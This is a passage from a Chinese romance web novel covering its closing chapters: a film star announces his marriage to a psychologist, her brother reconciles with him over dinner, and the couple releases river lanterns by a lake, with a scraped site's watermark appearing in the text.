鞠言怔了一下，她原本以为林今世会在事态平息后再给出回应，没想到他竟直接选择了在今天公开。 鞠言来不及回答乔楠，忙放下水杯拿出手机点进了娱乐软件，不用找，林今世公布恋情的话题早已挂在了热搜第一。 林今世不仅在朋友圈晒了结婚证册子和两人戴着戒指的十指相扣的照片，还同步发到了网上。 连狗仔都措不及防，他们本来似乎咬定了林今世会把他们手里剩下的视频高价买断，没想到他却选择了直接公开。 林今世这种当红顶流突然官宣结婚的爆炸性可想而知，网络上一时间祝福与辱骂齐飞。 一部分好事的网友与媒体更是千方百计想将她的身份信息给挖出来。 尽管林今世在公布结婚消息前已经聘请了专业人士保护鞠言的隐私，但他的热度实在太高，再顶级的专业人员也还是没有防住媒体地毯式的搜寻，虽然鞠言的照片没有被扒出来，但有关她和林今世交往时的一些事还是被媒体报道了出来，好在都只是一些无关痛痒，影响不到她和她的家人的小事。 看着评论区有些对林今世不友善的评论，鞠言的胸口仿佛有一口气闷着喘不上来，在盯着屏幕里那些恶评好一会儿后，她才恢复理智强迫自己熄掉了屏幕不再去看。 “鞠医生你怎么了？”看到鞠言的脸色不好，乔楠关心地问，“是不是太累了？” 鞠言摇了摇头，忽然想到了什么：“晓菲的状态怎么样？” 乔楠：“她也才刚结束咨询，应该还不知道呢。” 怕穆晓菲又 像上次那样闷闷不乐好几天，鞠言推座起身，朝穆晓菲的咨询室走去。 穆晓菲果然还没有出咨询室，她坐在转椅上，正低头盯着手机，手指快速地在屏幕上打着字，余光感觉到鞠言和乔楠走进来，不等她们开口，她便率先冲她们骂道： “气死我了！” 鞠言的心微微紧了下。 乔楠：“你已经看到热搜了吗？” 穆晓菲用力点了点头：“气死我了！林今世又不是爱豆，也没立过单身人设，评论区那群人骂凭什么那样骂他！” 鞠言小心地问：“晓菲，这会影响你吗？” 穆晓菲不假思索：“当然啦，我都快被他们气死了！” 鞠言犹豫了下：“我是说今世结婚这件事。” “还好啦，”穆晓菲朝她露出一个释然的笑，“我已经想明白了，比起其它的，我更希望他能幸福，他跟那个女孩在一起能开心幸福的话，我也会很开心的。” 穆晓菲洒脱地用手肘戳了戳鞠言：“而且那个女孩身型看起来有点像你，我对她也挺有好感的。” 鞠言朝她笑了笑，她打算好了，等事态稍稍平静一些了，就带穆晓菲去见林今世。 搁在衣兜里的手机响了起来，鞠言一边接起电话，一边朝外走。 是鞠然。 哥哥隔着听筒传来的声音冷静而隐隐透出不满： “林今世那个结婚对象，看着和你有点像。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第81章【正文完】 第81章 鞠言没打算瞒着家人,上午工作忙，她实在抽不出空来通知他们，到后来就给忙忘了。 “等我和他各自的工作忙完,我们就一起回清津见爸妈。”她淡定地回答鞠然。 电话那头没有传来回复，只传来鞠然微微倒吸了一口气的声音。 鞠言：“对了,哥。” “干嘛？” 鞠言对鞠然不耐烦地声音视而不见： “你来清津，我们一起吃顿饭怎么样？” 她工作忙,过完年回清津以后，除了偶尔视频，还没和鞠然再见过面,趁着林今世还没进组，鞠言想喊鞠然来和他们见一面。 既然自己已经跟林今世在一起了，鞠言也希望林今世和鞠然能够放下过去对彼此的心结。 林今世最近正处在风尖浪口,几乎在哪都要面对记者的长筒短炮和甩不掉的狗仔，想让他们见面，只能让鞠然来清津。 鞠然语气不善：“和谁？” 鞠言无奈：“当然是和林今世。” 鞠然没好气：“我干嘛要和他吃饭。” 鞠言叹了口气：“他好歹是你的妹夫,真的打算老死不相往来了？” “谁说他是我妹夫了。” 鞠言忍不住笑：“你这是跟我也断绝关系了？” 鞠然沉默了片刻，语气不情愿极了：“几点？” …… 鞠然今天正好有空,饭局便定在了今晚七点半,林今世提前半个小时匆匆赶了回来，他现在每天在外都是全副武装的,墨镜、口罩、帽子,一样也不能少。 虽然才分开了一天不到，但鞠言已经快想死他了，她小跑过去，林今世配合地弯下腰，让鞠言可以轻而易举地挽住他的脖子,两人站在玄关处，吻了好一会儿才分开。 “你哥呢？还没来吗？”林今世扫了一眼客厅。 “嗯，吴大哥已经去车站接他了。” 正说着话，鞠言透过落地窗瞧见鞠然正在司机的带领下穿过庭院朝正屋走来。 鞠言走过去将门推开，她好久没见鞠然了，还是很想他的。 “哥。” 鞠然不情不愿地“嗯”了声，他冷冷地看了站在鞠言身旁的林今世一眼，招呼也没打，径自换鞋走进屋。 鞠言：“……” 林今世也懒得理他，顾自牵着鞠言的手到餐桌前坐下。 苏阿姨已经做好了一桌子菜，帮着主人招呼着鞠然到桌前坐下。 鞠言夹了只虾到鞠然碗里，笑道：“哥你尝尝，这是苏阿姨按沿海城市的吃法做的盐烤红虾。” 鞠然不理她，他拿过葡萄酒瓶替自己斟满了一杯，仰头一饮而尽，他把酒杯放下，看向林今世： “我也不说废话了，你要保证下来，以后绝对不能欺负她，更不能背叛她，总之，你要是敢对她不好，我一定不会放过你的。” 林今世替鞠言夹着菜，冷淡道：“不用你说。” 鞠然：“我就这一个妹妹，为什么不能说？” 事隔经年，两个人还是有点针锋相对。 “……别吵架。”鞠言一边说，一边夹了块红烧肉到碗里准备吃。 这块红烧肉向上的那一面看起来全是瘦肉，背面却是纯肥的，鞠言不爱吃肥肉，但已经夹到碗里了又不好放回去，便夹给了鞠然。 从小到大，鞠言不爱吃又夹到碗里不要再放回去的，她都会厚着脸皮夹到鞠然的碗里。 鞠然虽然总是表示抗议，却每次都会替她将那些“垃圾”打扫了。 林今世：“……” “你又拿我当垃圾桶。”虽然嘴上这么说，但鞠然并没有将肉丢还给鞠言，刚想伸筷子夹起送进嘴里，另一双筷子就先将它夹走了。 林今世一言不发地将那块油汪汪的红烧肉送了嘴里，随便嚼了几下便咽了下去。 鞠然：“……” 鞠言：“……你吃这么油的肉没关系吗？” “偶然吃一点没关系。”林今世面无表情地拿起酒杯喝了一口。 鞠言知道他是又不高兴了，便亲手剥了只虾放到他的碗里。 林今世不存在的尾巴轻轻摇了摇，他慢悠悠地拿过搁在一旁的手巾，替鞠言将手擦干净。 看着昔日好友这不值钱的模样，鞠然无语地“嘁”了一声。 林今世望着鞠言水灵的眼睛，决定给鞠然一点面子，他的手指穿过鞠言手指的缝隙扣住了她的手，语气冷淡而认真： “我会永远对比比好。” “……”鞠然看了一眼两人穿过桌面十指相扣的手，无名指上的对戒闪着耀眼的光芒。 当着家人的面这样亲密鞠言有些不好意思，她忙把手撤了回去。 本以为鞠然会因此和林今世又起口角，没想到他什么也没说，只是拿起筷子开始吃饭。 一场饭局下来，虽然林今世和鞠然彼此之间没有说一句话，但鞠言知道，他们算是勉强算和解了。 饭局一结束，鞠然便打算要走了，鞠言很想和鞠然再待几天，但鞠然执意要回去了，留他不住。 鞠言和林今世一起送他到了别墅的院门口，司机已经提前从车库开车出来等着了。 鞠然用大拇指朝那辆黑色商务车指了下，示意自己走了。 鞠言有些舍不得他，抬起手只是很轻地挥了下。 鞠然走到司机打开的后座车门旁，忽然驻步，略回过头： “爸妈那边我会替你告诉他们的，就当是为之前拆散你们两个做补偿。” 鞠言微笑起来：“谢谢哥。” 鞠然瞥了一眼和鞠言手牵手的林今世，态度不冷不热：“我走了，不许欺负我妹，听到没有？” 林今世微微挑唇：“赶紧滚吧。” 看到林今世和鞠然的关系似是回到了从前，鞠言心情好极了，她抬起没有挽着林今世的那只手大幅度挥了挥： “路上小心。” 鞠然望着她，微微笑了：“妹妹，新婚快乐。” 鞠言把牵着林今世的手握得紧了些：“我会幸福的。” 直到商务车驶出了黑色雕花的大门，鞠言才牵着林今世的手缓步在花园里散步。 石板路两侧种植着郁金香和玫瑰……经过这些天的相处，林今世知道了鞠言喜欢小飞燕，便又请花匠添上了一簇簇蓝色、粉色的小飞燕。 朦胧的夜色使鲜花的颜色也暗了一度。 今天气温高，春夜带着花香的风柔和地吹在鞠言的脸上，林今世一直安静地走在她身边。 昼夜不停的法式喷泉泻落下的水珠在金色的灯光下闪闪发亮，似是碎星。 林今世忽然道： “我承诺你的事情，一定会做到。” 鞠言停 下脚步，踮起脚环住林今世的脖子，她仰起脸望进他的眼睛： “我知道。” 林今世望着她在夜光下明亮水润的眼睛，情不自禁吻了下去，吻了一会儿，他顺势抱起她，大步往屋内走。 鞠言忙道：“今天早点睡吧。” 林今世今天凌晨三点便起床赶赴拍摄现场了，忙到傍晚才回来，她想让她早点休息。 林今世坚决地摇了摇头，又撒着娇求了她好一会儿，鞠言没办法，只能同意，但最多两次。 上床早，等到结束了也才不到九点，林今世今天很累，躺到床上没一会儿便沉沉睡了过去。 鞠言被林今世搂在怀里，正朦朦胧胧有睡意，搁在床头柜上的手机忽然响了起来，她被吵醒，忙拿过手机按了静音，她看了眼，来电显示：李景显 “……” 鞠言本打算等它自动挂断，但转念一想，李景显或许是有什么急事。 她拿开林今世搂在她的肚子上的手，悄悄坐起来。鞠言下了床，仔细地替林今世盖好被子，而后轻手轻脚地走到房间内的卫生间。 怕吵醒林今世，鞠言没有开灯，她盯着屏幕犹豫了片刻，将电话接通，小声道： “李总，是有事吗？” 对面没有说话，在夜晚寂静的房间里，静悄悄的只有压抑而轻微的鼻息声。 隔了片刻，电话被挂断了。 李景显的呼吸声从黑暗中消失了，鞠言心里说不出是什么感觉，她在原地站了片刻，重新抬步乘着窗外映进的月色走回卧室，在林今世身旁躺下。 林今生在睡梦中重新将她揽入了怀中，属于他的温度拥上来。 因为觉得太过高调，鞠言拒绝了司机每天开车送她上班，仍是每天搭乘地铁上下班。林今世给她买的一辆保时捷小跑也只是停在自家的车库里，一次都没有开过，虽然这种小跑车在清津是比较常见的，算不上触目。 由于工作都忙，两人虽然是新婚，但每天相处的时间也只有傍晚六点之后。 除了讨论未来婚礼的安排外，鞠言把分开这些年想和他一起看的电影，一起听的音乐，共读的书通通都“端上了桌。” 即使不是感兴趣的题材，林今世也会看得很认真，每一帧画面、每一秒韵律、每一句文字都不错过。 因为这是他爱的女孩分享给他的。 每天仅有的一点时间，在因浓缩变得愈发醇甜的同时也更使人觉得转瞬即逝。 林今世的一部新电影马上就要开机了，明天一早他就要和团队一起搭乘飞机去摩洛哥，这意味着两个人要好几个见不到对方。 鞠言屈腿坐在沙发上，心有旁骛地看着电影。 分别的日子在即，虽然林今世此刻就在她的身旁，但她的情绪还是忍不住的低落。 鞠言不想惹起他的离情情绪，便只是默默靠在他的肩头，一个人消化。 “我带你去个地方。”林今世忽然说。 …… 时隔许久，鞠言再次见到了白鸽东路两旁栽种着的紫薇树，它们还没有开花，树干上只有一点点新抽出来的绿色嫩芽。 鞠言侧脸问林今世：“是要去津大吗？” 林今世淡笑着摇了摇头。 他把车停在了蓝水湖附近，鞠言解开安全带开门下车。 四月春夜的风温和宜人，跟记忆中的不同，蓝水湖附近静谧得出奇，踩着草坪中若隐若现的石板路一路走来，竟连一个人都没有碰到。 “怎么这么安静？”鞠言有点奇怪。 林今世没有回答，只是牵着她的手信步走着，鞠言像是打量一个阔别已久的老朋友似的四下环望。 她的目光忽然定住——不远处的湖边一个人都没有，然而湖面上却有千盏河灯在缓缓地飘动。 鞠言定定地望着，情不自禁抬步往岸边走去。 一盏盏被点亮的河灯把湖面照亮成了流动的水晶。 她的目光追随着湖面上的群灯，渡水而来的晚风跟过去的一样冷冽，拂在她的脸上，把过去的记忆也从她心底拂起。 她看到了大学时的自己，看到了几个室友们，看到了长发的鞠然。 以及，林今世。 鞠言喃喃道：“还记得吗？我们第一次交往的时候，也放过河灯。” 林今世的眼前浮现出了鞠言从前青涩的脸庞，还有面对他时羞赧的浅笑。 “怎么会不记得。” 身畔传来打火机划出火焰的轻响，鞠言下意识侧脸，林今世手里捧着一盏已经点燃的莲花河灯。 鞠言怔了下，林今世将河灯递向她，鞠言双手捧住那盏河灯，低脸瞧着，河灯是莲花形的，跟大学时她放走的那只造型一模一样。 鞠言俯下身去小心地把河灯放入水中，她褪去青涩的脸被水面上河灯发出的光微微映亮。 看着她清秀而朦胧的侧脸，林今世情不自禁地伸出手去，用戴着婚戒的手牵住她戴着婚戒的手，以确保自己看见的不是水月镜花。 切切实实与她十指相扣后，他的嘴角才泛起了淡笑： “你那时候许了什么愿？” 鞠言微微弯眼：“是和你有关的。” 林今世看进她清澈的眼睛：“那这一次呢，会有我吗？” 鞠言用像从前那样虔诚的口吻回答：“不能告诉你，说出来就不灵了。” 鞠言松开林今世的手，她望着渐渐远去的荷花灯，缓缓闭上眼。晚风轻轻拂动着她的长发，她在心里无声地祈愿： “希望我爱的人，我的来访者们，都能越来越好。希望能和我的爱人林今世过完普通而美好的一生。” 林今世也闭上了眼，他听到自己的声音在心里说： 希望能和我的爱人鞠言过完普通而美好的一生。 正文完-魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m